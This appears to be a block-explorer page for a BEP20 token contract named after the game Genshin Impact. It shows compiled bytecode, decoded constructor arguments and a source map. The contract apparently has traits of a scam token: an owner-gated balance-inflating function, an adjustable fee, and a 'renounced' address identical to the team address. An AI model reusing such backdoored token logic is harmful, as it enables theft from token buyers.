fffffffffff16815260200190815260200160002054905081811015610f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f63906115c2565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54606460045484610fc4919061171b565b610fce91906116ea565b610fd891906116ea565b6009819055506002600a54600954610ff0919061171b565b610ffa919061171b565b826110059190611775565b9150816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110559190611694565b92505081905550600954600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110ce9190611694565b92505081905550600954600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111479190611694565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111ab9190611642565b60405180910390a350505050565b8060048190555050565b6000813590506111d281611b81565b92915050565b6000813590506111e781611b98565b92915050565b600060208284031215611203576112026118f0565b5b6000611211848285016111c3565b91505092915050565b60008060408385031215611231576112306118f0565b5b600061123f858286016111c3565b9250506020611250858286016111c3565b9150509250929050565b600080600060608486031215611273576112726118f0565b5b6000611281868287016111c3565b9350506020611292868287016111c3565b92505060406112a3868287016111d8565b9150509250925092565b600080604083850312156112c4576112c36118f0565b5b60006112d2858286016111c3565b92505060206112e3858286016111d8565b9150509250929050565b600060208284031215611303576113026118f0565b5b6000611311848285016111d8565b91505092915050565b611323816117a9565b82525050565b611332816117bb565b82525050565b600061134382611678565b61134d8185611683565b935061135d8185602086016117fe565b611366816118f5565b840191505092915050565b600061137e602083611683565b915061138982611906565b602082019050919050565b60006113a1602583611683565b91506113ac8261192f565b604082019050919050565b60006113c4602483611683565b91506113cf8261197e565b604082019050919050565b60006113e7602883611683565b91506113f2826119cd565b604082019050919050565b600061140a602083611683565b915061141582611a1c565b602082019050919050565b600061142d602683611683565b915061143882611a45565b604082019050919050565b6000611450602383611683565b915061145b82611a94565b604082019050919050565b6000611473602583611683565b915061147e82611ae3565b604082019050919050565b6000611496602283611683565b91506114a182611b32565b604082019050919050565b6114b5816117e7565b82525050565b6114c4816117f1565b82525050565b60006020820190506114df600083018461131a565b92915050565b60006020820190506114fa6000830184611329565b92915050565b6000602082019050818103600083015261151a8184611338565b905092915050565b6000602082019050818103600083015261153b81611371565b9050919050565b6000602082019050818103600083015261155b81611394565b9050919050565b6000602082019050818103600083015261157b816113b7565b9050919050565b6000602082019050818103600083015261159b816113da565b9050919050565b600060208201905081810360008301526115bb816113fd565b9050919050565b600060208201905081810360008301526115db81611420565b9050919050565b600060208201905081810360008301526115fb81611443565b9050919050565b6000602082019050818103600083015261161b81611466565b9050919050565b6000602082019050818103600083015261163b81611489565b9050919050565b600060208201905061165760008301846114ac565b92915050565b600060208201905061167260008301846114bb565b92915050565b600081519050919050565b600082825260208201905092915050565b600061169f826117e7565b91506116aa836117e7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116df576116de611863565b5b828201905092915050565b60006116f5826117e7565b9150611700836117e7565b9250826117105761170f611892565b5b828204905092915050565b6000611726826117e7565b9150611731836117e7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561176a57611769611863565b5b828202905092915050565b6000611780826117e7565b915061178b836117e7565b92508282101561179e5761179d611863565b5b828203905092915050565b60006117b4826117c7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561181c578082015181840152602081019050611801565b8381111561182b576000848401525b50505050565b6000600282049050600182168061184957607f821691505b6020821081141561185d5761185c6118c1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a2063616e6e6f74207065726d6974206465762061646472657373600082015250565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f42455032303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b611b8a816117a9565b8114611b9557600080fd5b50565b611ba1816117e7565b8114611bac57600080fd5b5056fea2646970667358221220de5d1220bd39ff2d8d80ef089d5429c41c62cc6cc2888c755544f299c0d959d164736f6c6343000807003300000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002f2545aa534946d019724ca5544c0c3385af2abc0000000000000000000000002f2545aa534946d019724ca5544c0c3385af2abc000000000000000000000000000000000000000000000000000000000000000e47656e7368696e20496d70616374000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d47454e5348494e494d5041435400000000000000000000000000000000000000

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002f2545aa534946d019724ca5544c0c3385af2abc0000000000000000000000002f2545aa534946d019724ca5544c0c3385af2abc000000000000000000000000000000000000000000000000000000000000000e47656e7368696e20496d70616374000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d47454e5348494e494d5041435400000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Genshin Impact
Arg [1] : symbol_ (string): GENSHINIMPACT
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 1000000000000000000
Arg [4] : taxFee_ (uint256): 0
Arg [5] : renounced_ (address): 0x2f2545aa534946d019724ca5544c0c3385af2abc
Arg [6] : teamAddress_ (address): 0x2f2545aa534946d019724ca5544c0c3385af2abc

-----Encoded View---------------
11 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000120
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000000de0b6b3a7640000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000002f2545aa534946d019724ca5544c0c3385af2abc
Arg [6] : 0000000000000000000000002f2545aa534946d019724ca5544c0c3385af2abc
Arg [7] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [8] : 47656e7368696e20496d70616374000000000000000000000000000000000000
Arg [9] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [10] : 47454e5348494e494d5041435400000000000000000000000000000000000000


Deployed ByteCode Sourcemap

5870:11739:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7253:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10305:129;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9519:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8686:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8377:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10923:492;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8213:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11823:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8547:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17354:150;;;:::i;:::-;;14337:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7472:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12540:413;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8985:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9950:147;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9222:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10119:180;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7253:100;7307:13;7340:5;7333:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7253:100;:::o;10305:129::-;10374:4;16103:12;:10;:12::i;:::-;16093:22;;:6;;;;;;;;;;;:22;;;16085:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10398:6:::1;10391:4;:13;;;;10422:4;10415:11;;10305:129:::0;;;:::o;9519:169::-;9602:4;9619:39;9628:12;:10;:12::i;:::-;9642:7;9651:6;9619:8;:39::i;:::-;9676:4;9669:11;;9519:169;;;;:::o;8686:89::-;8736:7;8763:4;;8756:11;;8686:89;:::o;8377:108::-;8438:7;8465:12;;8458:19;;8377:108;:::o;10923:492::-;11063:4;11080:36;11090:6;11098:9;11109:6;11080:9;:36::i;:::-;11129:24;11156:11;:19;11168:6;11156:19;;;;;;;;;;;;;;;:33;11176:12;:10;:12::i;:::-;11156:33;;;;;;;;;;;;;;;;11129:60;;11228:6;11208:16;:26;;11200:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;11315:57;11324:6;11332:12;:10;:12::i;:::-;11365:6;11346:16;:25;11315:8;:57::i;:::-;11403:4;11396:11;;;10923:492;;;;;:::o;8213:100::-;8271:5;8296:9;;;;;;;;;;;8289:16;;8213:100;:::o;11823:215::-;11911:4;11928:80;11937:12;:10;:12::i;:::-;11951:7;11997:10;11960:11;:25;11972:12;:10;:12::i;:::-;11960:25;;;;;;;;;;;;;;;:34;11986:7;11960:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;11928:8;:80::i;:::-;12026:4;12019:11;;11823:215;;;;:::o;8547:127::-;8621:7;8648:9;:18;8658:7;8648:18;;;;;;;;;;;;;;;;8641:25;;8547:127;;;:::o;17354:150::-;16103:12;:10;:12::i;:::-;16093:22;;:6;;;;;;;;;;;:22;;;16085:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17461:1:::1;17424:40;;17445:6;;;;;;;;;;;17424:40;;;;;;;;;;;;17492:1;17475:6;;:19;;;;;;;;;;;;;;;;;;17354:150::o:0;14337:79::-;14375:7;14398:6;;;;;;;;;;;14391:13;;14337:79;:::o;7472:104::-;7528:13;7561:7;7554:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7472:104;:::o;12540:413::-;12633:4;12650:24;12677:11;:25;12689:12;:10;:12::i;:::-;12677:25;;;;;;;;;;;;;;;:34;12703:7;12677:34;;;;;;;;;;;;;;;;12650:61;;12750:15;12730:16;:35;;12722:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;12843:67;12852:12;:10;:12::i;:::-;12866:7;12894:15;12875:16;:34;12843:8;:67::i;:::-;12941:4;12934:11;;;12540:413;;;;:::o;8985:175::-;9071:4;9088:42;9098:12;:10;:12::i;:::-;9112:9;9123:6;9088:9;:42::i;:::-;9148:4;9141:11;;8985:175;;;;:::o;9950:147::-;9994:14;10006:1;9994:10;:14::i;:::-;10042:10;;;;;;;;;;;10026:26;;:12;:10;:12::i;:::-;:26;;;10018:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9950:147;:::o;9222:151::-;9311:7;9338:11;:18;9350:5;9338:18;;;;;;;;;;;;;;;:27;9357:7;9338:27;;;;;;;;;;;;;;;;9331:34;;9222:151;;;;:::o;10119:180::-;10196:6;10169:9;:23;10179:12;:10;:12::i;:::-;10169:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;10237:10;;;;;;;;;;;10221:26;;:12;:10;:12::i;:::-;:26;;;10213:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10119:180;:::o;5648:98::-;5701:7;5728:10;5721:17;;5648:98;:::o;15667:380::-;15820:1;15803:19;;:5;:19;;;;15795:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15901:1;15882:21;;:7;:21;;;;15874:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15985:6;15955:11;:18;15967:5;15955:18;;;;;;;;;;;;;;;:27;15974:7;15955:27;;;;;;;;;;;;;;;:36;;;;16023:7;16007:32;;16016:5;16007:32;;;16032:6;16007:32;;;;;;:::i;:::-;;;;;;;;15667:380;;;:::o;13443:818::-;13601:1;13583:20;;:6;:20;;;;13575:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13685:1;13664:23;;:9;:23;;;;13656:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13752:21;13776:9;:17;13786:6;13776:17;;;;;;;;;;;;;;;;13752:41;;13829:6;13812:13;:23;;13804:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;13950:6;13934:13;:22;13914:9;:17;13924:6;13914:17;;;;;;;;;;;;;;;:42;;;;14011:4;;14004:3;13995:7;;13986:6;:16;;;;:::i;:::-;:21;;;;:::i;:::-;13985:30;;;;:::i;:::-;13978:4;:37;;;;14056:1;14051:4;;14046;;:9;;;;:::i;:::-;:11;;;;:::i;:::-;14035:6;:23;;;;:::i;:::-;14026:32;;14103:6;14079:9;:20;14089:9;14079:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;14145:4;;14120:9;:21;14130:10;;;;;;;;;;;14120:21;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;14186:4;;14160:9;:23;14170:12;;;;;;;;;;;14160:23;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;14223:9;14206:35;;14215:6;14206:35;;;14234:6;14206:35;;;;;;:::i;:::-;;;;;;;;13564:697;13443:818;;;:::o;16333:96::-;16402:9;16392:7;:19;;;;16333:96;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;152:139;;;;:::o;297:329::-;356:6;405:2;393:9;384:7;380:23;376:32;373:119;;;411:79;;:::i;:::-;373:119;531:1;556:53;601:7;592:6;581:9;577:22;556:53;:::i;:::-;546:63;;502:117;297:329;;;;:::o;632:474::-;700:6;708;757:2;745:9;736:7;732:23;728:32;725:119;;;763:79;;:::i;:::-;725:119;883:1;908:53;953:7;944:6;933:9;929:22;908:53;:::i;:::-;898:63;;854:117;1010:2;1036:53;1081:7;1072:6;1061:9;1057:22;1036:53;:::i;:::-;1026:63;;981:118;632:474;;;;;:::o;1112:619::-;1189:6;1197;1205;1254:2;1242:9;1233:7;1229:23;1225:32;1222:119;;;1260:79;;:::i;:::-;1222:119;1380:1;1405:53;1450:7;1441:6;1430:9;1426:22;1405:53;:::i;:::-;1395:63;;1351:117;1507:2;1533:53;1578:7;1569:6;1558:9;1554:22;1533:53;:::i;:::-;1523:63;;1478:118;1635:2;1661:53;1706:7;1697:6;1686:9;1682:22;1661:53;:::i;:::-;1651:63;;1606:118;1112:619;;;;;:::o;1737:474::-;1805:6;1813;1862:2;1850:9;1841:7;1837:23;1833:32;1830:119;;;1868:79;;:::i;:::-;1830:119;1988:1;2013:53;2058:7;2049:6;2038:9;2034:22;2013:53;:::i;:::-;2003:63;;1959:117;2115:2;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2086:118;1737:474;;;;;:::o;2217:329::-;2276:6;2325:2;2313:9;2304:7;2300:23;2296:32;2293:119;;;2331:79;;:::i;:::-;2293:119;2451:1;2476:53;2521:7;2512:6;2501:9;2497:22;2476:53;:::i;:::-;2466:63;;2422:117;2217:329;;;;:::o;2552:118::-;2639:24;2657:5;2639:24;:::i;:::-;2634:3;2627:37;2552:118;;:::o;2676:109::-;2757:21;2772:5;2757:21;:::i;:::-;2752:3;2745:34;2676:109;;:::o;2791:364::-;2879:3;2907:39;2940:5;2907:39;:::i;:::-;2962:71;3026:6;3021:3;2962:71;:::i;:::-;2955:78;;3042:52;3087:6;3082:3;3075:4;3068:5;3064:16;3042:52;:::i;:::-;3119:29;3141:6;3119:29;:::i;:::-;3114:3;3110:39;3103:46;;2883:272;2791:364;;;;:::o;3161:366::-;3303:3;3324:67;3388:2;3383:3;3324:67;:::i;:::-;3317:74;;3400:93;3489:3;3400:93;:::i;:::-;3518:2;3513:3;3509:12;3502:19;;3161:366;;;:::o;3533:::-;3675:3;3696:67;3760:2;3755:3;3696:67;:::i;:::-;3689:74;;3772:93;3861:3;3772:93;:::i;:::-;3890:2;3885:3;3881:12;3874:19;;3533:366;;;:::o;3905:::-;4047:3;4068:67;4132:2;4127:3;4068:67;:::i;:::-;4061:74;;4144:93;4233:3;4144:93;:::i;:::-;4262:2;4257:3;4253:12;4246:19;;3905:366;;;:::o;4277:::-;4419:3;4440:67;4504:2;4499:3;4440:67;:::i;:::-;4433:74;;4516:93;4605:3;4516:93;:::i;:::-;4634:2;4629:3;4625:12;4618:19;;4277:366;;;:::o;4649:::-;4791:3;4812:67;4876:2;4871:3;4812:67;:::i;:::-;4805:74;;4888:93;4977:3;4888:93;:::i;:::-;5006:2;5001:3;4997:12;4990:19;;4649:366;;;:::o;5021:::-;5163:3;5184:67;5248:2;5243:3;5184:67;:::i;:::-;5177:74;;5260:93;5349:3;5260:93;:::i;:::-;5378:2;5373:3;5369:12;5362:19;;5021:366;;;:::o;5393:::-;5535:3;5556:67;5620:2;5615:3;5556:67;:::i;:::-;5549:74;;5632:93;5721:3;5632:93;:::i;:::-;5750:2;5745:3;5741:12;5734:19;;5393:366;;;:::o;5765:::-;5907:3;5928:67;5992:2;5987:3;5928:67;:::i;:::-;5921:74;;6004:93;6093:3;6004:93;:::i;:::-;6122:2;6117:3;6113:12;6106:19;;5765:366;;;:::o;6137:::-;6279:3;6300:67;6364:2;6359:3;6300:67;:::i;:::-;6293:74;;6376:93;6465:3;6376:93;:::i;:::-;6494:2;6489:3;6485:12;6478:19;;6137:366;;;:::o;6509:118::-;6596:24;6614:5;6596:24;:::i;:::-;6591:3;6584:37;6509:118;;:::o;6633:112::-;6716:22;6732:5;6716:22;:::i;:::-;6711:3;6704:35;6633:112;;:::o;6751:222::-;6844:4;6882:2;6871:9;6867:18;6859:26;;6895:71;6963:1;6952:9;6948:17;6939:6;6895:71;:::i;:::-;6751:222;;;;:::o;6979:210::-;7066:4;7104:2;7093:9;7089:18;7081:26;;7117:65;7179:1;7168:9;7164:17;7155:6;7117:65;:::i;:::-;6979:210;;;;:::o;7195:313::-;7308:4;7346:2;7335:9;7331:18;7323:26;;7395:9;7389:4;7385:20;7381:1;7370:9;7366:17;7359:47;7423:78;7496:4;7487:6;7423:78;:::i;:::-;7415:86;;7195:313;;;;:::o;7514:419::-;7680:4;7718:2;7707:9;7703:18;7695:26;;7767:9;7761:4;7757:20;7753:1;7742:9;7738:17;7731:47;7795:131;7921:4;7795:131;:::i;:::-;7787:139;;7514:419;;;:::o;7939:::-;8105:4;8143:2;8132:9;8128:18;8120:26;;8192:9;8186:4;8182:20;8178:1;8167:9;8163:17;8156:47;8220:131;8346:4;8220:131;:::i;:::-;8212:139;;7939:419;;;:::o;8364:::-;8530:4;8568:2;8557:9;8553:18;8545:26;;8617:9;8611:4;8607:20;8603:1;8592:9;8588:17;8581:47;8645:131;8771:4;8645:131;:::i;:::-;8637:139;;8364:419;;;:::o;8789:::-;8955:4;8993:2;8982:9;8978:18;8970:26;;9042:9;9036:4;9032:20;9028:1;9017:9;9013:17;9006:47;9070:131;9196:4;9070:131;:::i;:::-;9062:139;;8789:419;;;:::o;9214:::-;9380:4;9418:2;9407:9;9403:18;9395:26;;9467:9;9461:4;9457:20;9453:1;9442:9;9438:17;9431:47;9495:131;9621:4;9495:131;:::i;:::-;9487:139;;9214:419;;;:::o;9639:::-;9805:4;9843:2;9832:9;9828:18;9820:26;;9892:9;9886:4;9882:20;9878:1;9867:9;9863:17;9856:47;9920:131;10046:4;9920:131;:::i;:::-;9912:139;;9639:419;;;:::o;10064:::-;10230:4;10268:2;10257:9;10253:18;10245:26;;10317:9;10311:4;10307:20;10303:1;10292:9;10288:17;10281:47;10345:131;10471:4;10345:131;:::i;:::-;10337:139;;10064:419;;;:::o;10489:::-;10655:4;10693:2;10682:9;10678:18;10670:26;;10742:9;10736:4;10732:20;10728:1;10717:9;10713:17;10706:47;10770:131;10896:4;10770:131;:::i;:::-;10762:139;;10489:419;;;:::o;10914:::-;11080:4;11118:2;11107:9;11103:18;11095:26;;11167:9;11161:4;11157:20;11153:1;11142:9;11138:17;11131:47;11195:131;11321:4;11195:131;:::i;:::-;11187:139;;10914:419;;;:::o;11339:222::-;11432:4;11470:2;11459:9;11455:18;11447:26;;11483:71;11551:1;11540:9;11536:17;11527:6;11483:71;:::i;:::-;11339:222;;;;:::o;11567:214::-;11656:4;11694:2;11683:9;11679:18;11671:26;;11707:67;11771:1;11760:9;11756:17;11747:6;11707:67;:::i;:::-;11567:214;;;;:::o;11868:99::-;11920:6;11954:5;11948:12;11938:22;;11868:99;;;:::o;11973:169::-;12057:11;12091:6;12086:3;12079:19;12131:4;12126:3;12122:14;12107:29;;11973:169;;;;:::o;12148:305::-;12188:3;12207:20;12225:1;12207:20;:::i;:::-;12202:25;;12241:20;12259:1;12241:20;:::i;:::-;12236:25;;12395:1;12327:66;12323:74;12320:1;12317:81;12314:107;;;12401:18;;:::i;:::-;12314:107;12445:1;12442;12438:9;12431:16;;12148:305;;;;:::o;12459:185::-;12499:1;12516:20;12534:1;12516:20;:::i;:::-;12511:25;;12550:20;12568:1;12550:20;:::i;:::-;12545:25;;12589:1;12579:35;;12594:18;;:::i;:::-;12579:35;12636:1;12633;12629:9;12624:14;;12459:185;;;;:::o;12650:348::-;12690:7;12713:20;12731:1;12713:20;:::i;:::-;12708:25;;12747:20;12765:1;12747:20;:::i;:::-;12742:25;;12935:1;12867:66;12863:74;12860:1;12857:81;12852:1;12845:9;12838:17;12834:105;12831:131;;;12942:18;;:::i;:::-;12831:131;12990:1;12987;12983:9;12972:20;;12650:348;;;;:::o;13004:191::-;13044:4;13064:20;13082:1;13064:20;:::i;:::-;13059:25;;13098:20;13116:1;13098:20;:::i;:::-;13093:25;;13137:1;13134;13131:8;13128:34;;;13142:18;;:::i;:::-;13128:34;13187:1;13184;13180:9;13172:17;;13004:191;;;;:::o;13201:96::-;13238:7;13267:24;13285:5;13267:24;:::i;:::-;13256:35;;13201:96;;;:::o;13303:90::-;13337:7;13380:5;13373:13;13366:21;13355:32;;13303:90;;;:::o;13399:126::-;13436:7;13476:42;13469:5;13465:54;13454:65;;13399:126;;;:::o;13531:77::-;13568:7;13597:5;13586:16;;13531:77;;;:::o;13614:86::-;13649:7;13689:4;13682:5;13678:16;13667:27;;13614:86;;;:::o;13706:307::-;13774:1;13784:113;13798:6;13795:1;13792:13;13784:113;;;13883:1;13878:3;13874:11;13868:18;13864:1;13859:3;13855:11;13848:39;13820:2;13817:1;13813:10;13808:15;;13784:113;;;13915:6;13912:1;13909:13;13906:101;;;13995:1;13986:6;13981:3;13977:16;13970:27;13906:101;13755:258;13706:307;;;:::o;14019:320::-;14063:6;14100:1;14094:4;14090:12;14080:22;;14147:1;14141:4;14137:12;14168:18;14158:81;;14224:4;14216:6;14212:17;14202:27;;14158:81;14286:2;14278:6;14275:14;14255:18;14252:38;14249:84;;;14305:18;;:::i;:::-;14249:84;14070:269;14019:320;;;:::o;14345:180::-;14393:77;14390:1;14383:88;14490:4;14487:1;14480:15;14514:4;14511:1;14504:15;14531:180;14579:77;14576:1;14569:88;14676:4;14673:1;14666:15;14700:4;14697:1;14690:15;14717:180;14765:77;14762:1;14755:88;14862:4;14859:1;14852:15;14886:4;14883:1;14876:15;15026:117;15135:1;15132;15125:12;15149:102;15190:6;15241:2;15237:7;15232:2;15225:5;15221:14;15217:28;15207:38;;15149:102;;;:::o;15257:182::-;15397:34;15393:1;15385:6;15381:14;15374:58;15257:182;:::o;15445:224::-;15585:34;15581:1;15573:6;15569:14;15562:58;15654:7;15649:2;15641:6;15637:15;15630:32;15445:224;:::o;15675:223::-;15815:34;15811:1;15803:6;15799:14;15792:58;15884:6;15879:2;15871:6;15867:15;15860:31;15675:223;:::o;15904:227::-;16044:34;16040:1;16032:6;16028:14;16021:58;16113:10;16108:2;16100:6;16096:15;16089:35;15904:227;:::o;16137:182::-;16277:34;16273:1;16265:6;16261:14;16254:58;16137:182;:::o;16325:225::-;16465:34;16461:1;16453:6;16449:14;16442:58;16534:8;16529:2;16521:6;16517:15;16510:33;16325:225;:::o;16556:222::-;16696:34;16692:1;16684:6;16680:14;16673:58;16765:5;16760:2;16752:6;16748:15;16741:30;16556:222;:::o;16784:224::-;16924:34;16920:1;16912:6;16908:14;16901:58;16993:7;16988:2;16980:6;16976:15;16969:32;16784:224;:::o;17014:221::-;17154:34;17150:1;17142:6;17138:14;17131:58;17223:4;17218:2;17210:6;17206:15;17199:29;17014:221;:::o;17241:122::-;17314:24;17332:5;17314:24;:::i;:::-;17307:5;17304:35;17294:63;;17353:1;17350;17343:12;17294:63;17241:122;:::o;17369:::-;17442:24;17460:5;17442:24;:::i;:::-;17435:5;17432:35;17422:63;;17481:1;17478;17471:12;17422:63;17369:122;:::o

Swarm Source

ipfs://de5d1220bd39ff2d8d80ef089d5429c41c62cc6cc2888c755544f299c0d959d1
Block Transaction Gas Used Reward
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.